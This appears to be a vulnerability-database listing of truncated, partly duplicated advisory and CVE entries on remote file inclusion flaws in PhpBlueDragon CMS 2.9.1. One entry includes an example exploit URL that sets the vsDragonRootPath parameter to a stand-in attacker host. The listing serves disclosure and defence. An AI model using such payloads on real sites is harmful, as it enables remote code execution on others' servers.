EUVD-2006-3073

Malware in sbrugna...

EUVD-2006-6941

Malware in sbrugna...

Php Blue Dragon CMS <= 2.9.1 (template.php) File Include Vulnerability

No description provided by source. ----------------------------------------------------- Advisory id: FSA:015 Author: Federico Fazzi Date: 14/06/2006, 18:20 Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability Type: high Product: http://phpbluedragon.net/ Patch: unavailable...

CVE-2006-6958

Multiple PHP remote file inclusion vulnerabilities in phpBlueDragon 2.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the vsDragonRootPath parameter to 1 teamadmin.php, 2 rssadmin.php, 3 manualadmin.php, and 4 forumadmin.php in includes/rootmodules/, a different set of vecto...

CVE-2006-6958

CVE-2006-6958 : Affects PhpBlueDragon CMS 2.9.1. Multiple PHP remote file inclusion vectors exist through the vsDragonRootPath parameter to includes/root_modules/ (team_admin.php, rss_admin.php, manual_admin.php, forum_admin.php). The underlying issue is improper handling of local/remote URLs in ...

CVE-2006-6958

Multiple PHP remote file inclusion vulnerabilities in phpBlueDragon 2.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the vsDragonRootPath parameter to 1 teamadmin.php, 2 rssadmin.php, 3 manualadmin.php, and 4 forumadmin.php in includes/rootmodules/, a different set of vecto...

phpbluedragon-2.txt

PHPBlueDragon CMS ... System OpenBSD xxx 3.9 xxx i386 ... Credits: shm...

phpBlueDragon CMS 2.9.1 multiple remote file inclusion vuln

PHPBlueDragon CMS = 2.9.1 http://phpbluedragon.net/ Affected files: rootincludes/rootmodules/teamadmin.php?action=moveitem&templateredirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/...

phpbluedragon.txt

----------------------------------------------------- Advisory id: FSA:015 Author: Federico Fazzi Date: 14/06/2006, 18:20 Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability Type: high Product: http://phpbluedragon.net/ Patch: unavailable...

CVE-2006-3076

CVE-2006-3076 affects PhpBlueDragon CMS 2.9.1. Affected file: software_upload/public_includes/pub_templates/vphptree/template.php. Vulnerability: remote attacker can execute arbitrary PHP code via a URL in the vsDragonRootPath parameter, enabling remote code execution. Connected documents confirm...

PhpBlueDragon CMS 2.9.1, File inclusion vulnerability

----------------------------------------------------- Advisory id: FSA:015 Author: Federico Fazzi Date: 14/06/2006, 18:20 Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability Type: high Product: http://phpbluedragon.net/ Patch: unavailable...